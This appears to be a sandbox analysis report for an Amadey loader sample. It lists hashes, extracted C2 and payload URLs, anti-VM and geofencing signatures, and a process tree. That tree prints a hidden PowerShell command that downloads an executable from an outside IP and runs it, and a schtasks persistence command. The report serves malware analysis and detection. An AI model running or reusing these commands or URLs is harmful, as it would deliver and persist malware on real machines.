Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
143s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20250217-en -
resource tags
arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system -
submitted
07/03/2025, 16:22
Static task
static1
General
-
Target
05fdff6b612497f1292bd7c12fd54d00.exe
-
Size
938KB
-
MD5
05fdff6b612497f1292bd7c12fd54d00
-
SHA1
611df7ad895719e22ccdfc8068e7e93afd2c2b7b
-
SHA256
4b6809eadff24e320c31e9bbef3a6bd66ef7861ee9280bff726d9be05ee92113
-
SHA512
3a522cb7aa14cbf32864b489c4c7c5ab700456ab90195dd927dcd3d08a30541f60941660a7d5252b5d57ec0f8dae4e90532e8d4e24b5443aa60db327697d73ac
-
SSDEEP
24576:YqDEvCTbMWu7rQYlBQcBiT6rprG8a06u:YTvC/MTQYxsWR7a06
Malware Config
Extracted
http://176.113.115.7/mine/random.exe
Extracted
amadey
5.21
092155
http://176.113.115.6
-
install_dir
bb556cff4a
-
install_file
rapes.exe
-
strings_key
a131b127e996a898cd19ffb2d92e481b
-
url_paths
/Ni9kiput/index.php
Signatures
-
Amadey family
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ rapes.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ rapes.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ TempFK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE -
Blocklisted process makes network request 1 IoCs
flow pid Process 23 372 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 372 powershell.exe -
Downloads MZ/PE file 1 IoCs
flow pid Process 23 372 powershell.exe -
Checks BIOS information in registry 2 TTPs 6 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion rapes.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion rapes.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion rapes.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion rapes.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion TempFK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion TempFK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Control Panel\International\Geo\Nation mshta.exe Key value queried \REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Control Panel\International\Geo\Nation TempFK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE -
Executes dropped EXE 3 IoCs
pid Process 4936 TempFK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE 1716 rapes.exe 4316 rapes.exe -
Identifies Wine through registry keys 2 TTPs 3 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Software\Wine TempFK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE Key opened \REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Software\Wine rapes.exe Key opened \REGISTRY\USER\S-1-5-21-3181990009-820930284-137514597-1000\Software\Wine rapes.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
pid Process 4936 TempFK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE 1716 rapes.exe 4316 rapes.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\Tasks\rapes.job TempFK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 7 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language TempFK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rapes.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 05fdff6b612497f1292bd7c12fd54d00.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1944 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 372 powershell.exe 372 powershell.exe 4936 TempFK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE 4936 TempFK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE 1716 rapes.exe 1716 rapes.exe 4316 rapes.exe 4316 rapes.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 372 powershell.exe -
Suspicious use of FindShellTrayWindow 4 IoCs
pid Process 2280 05fdff6b612497f1292bd7c12fd54d00.exe 2280 05fdff6b612497f1292bd7c12fd54d00.exe 2280 05fdff6b612497f1292bd7c12fd54d00.exe 4936 TempFK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE -
Suspicious use of SendNotifyMessage 3 IoCs
pid Process 2280 05fdff6b612497f1292bd7c12fd54d00.exe 2280 05fdff6b612497f1292bd7c12fd54d00.exe 2280 05fdff6b612497f1292bd7c12fd54d00.exe -
Suspicious use of WriteProcessMemory 18 IoCs
description pid Process procid_target PID 2280 wrote to memory of 1440 2280 05fdff6b612497f1292bd7c12fd54d00.exe 85 PID 2280 wrote to memory of 1440 2280 05fdff6b612497f1292bd7c12fd54d00.exe 85 PID 2280 wrote to memory of 1440 2280 05fdff6b612497f1292bd7c12fd54d00.exe 85 PID 2280 wrote to memory of 4940 2280 05fdff6b612497f1292bd7c12fd54d00.exe 86 PID 2280 wrote to memory of 4940 2280 05fdff6b612497f1292bd7c12fd54d00.exe 86 PID 2280 wrote to memory of 4940 2280 05fdff6b612497f1292bd7c12fd54d00.exe 86 PID 1440 wrote to memory of 1944 1440 cmd.exe 88 PID 1440 wrote to memory of 1944 1440 cmd.exe 88 PID 1440 wrote to memory of 1944 1440 cmd.exe 88 PID 4940 wrote to memory of 372 4940 mshta.exe 90 PID 4940 wrote to memory of 372 4940 mshta.exe 90 PID 4940 wrote to memory of 372 4940 mshta.exe 90 PID 372 wrote to memory of 4936 372 powershell.exe 104 PID 372 wrote to memory of 4936 372 powershell.exe 104 PID 372 wrote to memory of 4936 372 powershell.exe 104 PID 4936 wrote to memory of 1716 4936 TempFK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE 105 PID 4936 wrote to memory of 1716 4936 TempFK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE 105 PID 4936 wrote to memory of 1716 4936 TempFK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE 105
Processes
-
C:\Users\Admin\AppData\Local\Temp\05fdff6b612497f1292bd7c12fd54d00.exe"C:\Users\Admin\AppData\Local\Temp\05fdff6b612497f1292bd7c12fd54d00.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2280 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn de9lKma7kF9 /tr "mshta C:\Users\Admin\AppData\Local\Temp\7VIp4icPT.hta" /sc minute /mo 25 /ru "Admin" /f2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1440 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn de9lKma7kF9 /tr "mshta C:\Users\Admin\AppData\Local\Temp\7VIp4icPT.hta" /sc minute /mo 25 /ru "Admin" /f3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:1944
-
-
-
C:\Windows\SysWOW64\mshta.exemshta C:\Users\Admin\AppData\Local\Temp\7VIp4icPT.hta2⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4940 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'FK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:372 -
C:\Users\Admin\AppData\Local\TempFK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE"C:\Users\Admin\AppData\Local\TempFK9YAS3UNDO0E8VCA9AZ4QQIMWETAWDJ.EXE"4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4936 -
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"5⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:1716
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exeC:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4316
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1.8MB
MD52058198accbc051944c9d377276fe54a
SHA14065ba25c377d2db397c37da6c598c98cbec851e
SHA256a2a560e52feb37bb04aba6f8a46e1818aaf823a169eba1b2784d9b66e4d3343f
SHA512864623095c092c471a1d9681a3bc77824b29d961e51557533d4e6c01b6db952c95aeabf92fe74dc6e51d47798ccd718ce8ef03579d09afe5cf079f4335860db3
-
Filesize
717B
MD57f90b4c36fbeff1442390af89357b13c
SHA1e040b1a5901a84b4f96d9fd15c0a906f1a893227
SHA25607ef087af6ccc252d494a45feebd97b11641a19dff7a12f96a93e3d528218220
SHA512c6647bc86b8c518230e9e90653447fc387d47fa3fc1a53a4b63b830a57cfcffdcbd22f7e4f851e1c1646ec506f6c6cd5d81611bd5e1b865eb8faaa4d67630d3b
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82